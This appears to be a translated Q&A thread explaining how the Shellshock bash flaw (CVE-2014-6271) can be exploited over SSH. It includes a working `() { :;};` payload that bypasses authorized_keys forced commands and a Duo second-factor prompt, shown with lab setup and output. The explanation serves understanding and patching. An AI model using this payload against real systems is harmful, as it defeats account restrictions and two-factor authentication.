显然,shellshock Bash 漏洞利用CVE-2014-6271可以通过 SSH 在网络上被利用。我可以想象该漏洞如何通过 Apache/CGI 发挥作用,但我无法想象如何通过 SSH 发挥作用?
有人可以提供一个例子来说明 SSH 是如何被利用的,以及这会对系统造成什么危害吗?
澄清
AFAIU,只有经过身份验证的用户才能通过 SSH 利用此漏洞。对于拥有系统合法访问权限的人来说,这个漏洞有什么用呢?我的意思是,这个漏洞没有权限升级(他无法成为 root),所以他只能做他在通过 SSH 合法登录后所能做的事情。
答案1
可以利用这一点的一个例子是在具有authorized_keys
强制命令的服务器上。将条目添加到 时~/.ssh/authorized_keys
,您可以在该行前面加上前缀,以便在使用 ssh 公钥时command="foo"
强制foo
运行。通过此漏洞,如果目标用户的 shell 设置为bash
,他们就可以利用该漏洞来运行他们被迫执行的命令之外的其他内容。
这在示例中可能更有意义,所以这里是一个示例:
sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser
这里我们设置一个用户testuser
,强制使用您的 ssh 密钥运行任何 ssh 连接echo starting sleep; sleep 1
。
我们可以通过以下方式进行测试:
$ ssh testuser@localhost echo something else
starting sleep
请注意我们的命令echo something else
没有运行,但starting sleep
显示强制命令确实运行了。
现在让我们展示如何使用此漏洞:
$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep
这是有效的,因为将环境变量sshd
设置SSH_ORIGINAL_COMMAND
为传递的命令。因此,即使sshd
ran sleep
,而不是我告诉它的命令,由于漏洞利用,我的代码仍然可以运行。
答案2
扩展 Ramesh 的示例 - 如果您使用双因素身份验证,则可以使用此漏洞绕过第二个因素,具体取决于其实现方式。
— 正常登录 —
[10:30:51]$ ssh -p 2102 localhost
password:
Duo two-factor login
Enter a passcode or select one of the following options:
1. Duo Push to XXX-XXX-XXXX
2. Phone call to XXX-XXX-XXXX
3. SMS passcodes to XXX-XXX-XXXX (next code starts with: 2)
Passcode or option (1-3): 1
Pushed a login request to your device...
Success. Logging you in...
[server01 ~]$ logout
— 在没有 2FA 的情况下运行代码 —
[10:31:24]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
MALICIOUS CODE
您会注意到它运行代码时没有提示 2FA。
— 修补 bash 之后 —
[10:39:10]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
bash: warning: SSH_ORIGINAL_COMMAND: ignoring function definition attempt
bash: error importing function definition for `SSH_ORIGINAL_COMMAND’
答案3
Shellshock 是 bash 上的漏洞,而不是 SSH 上的漏洞。为了利用它,攻击者需要使易受攻击的系统运行 bash,并控制将传递给 bash 的环境变量的值。
为了通过 SSH 到达 bash 进程,攻击者需要通过身份验证步骤。 (可能存在通过其他网络服务的攻击向量,但它们超出了本线程的范围。)如果无论如何都允许该帐户运行任意 shell 命令,则不会发生攻击。如果帐户被限制运行特定命令,则该漏洞就会发挥作用:例如,仅 SFTP 帐户或仅 git 帐户等。
有多种方法可以限制帐户使用 SSH 运行特定命令:使用ForceCommand
中的选项sshd_config
,或使用command=
.文件中的限制authorized_keys
。如果用户的 shell 是 bash,则 Shellshock 漏洞允许通常只能访问受限帐户的用户绕过限制并执行任意命令。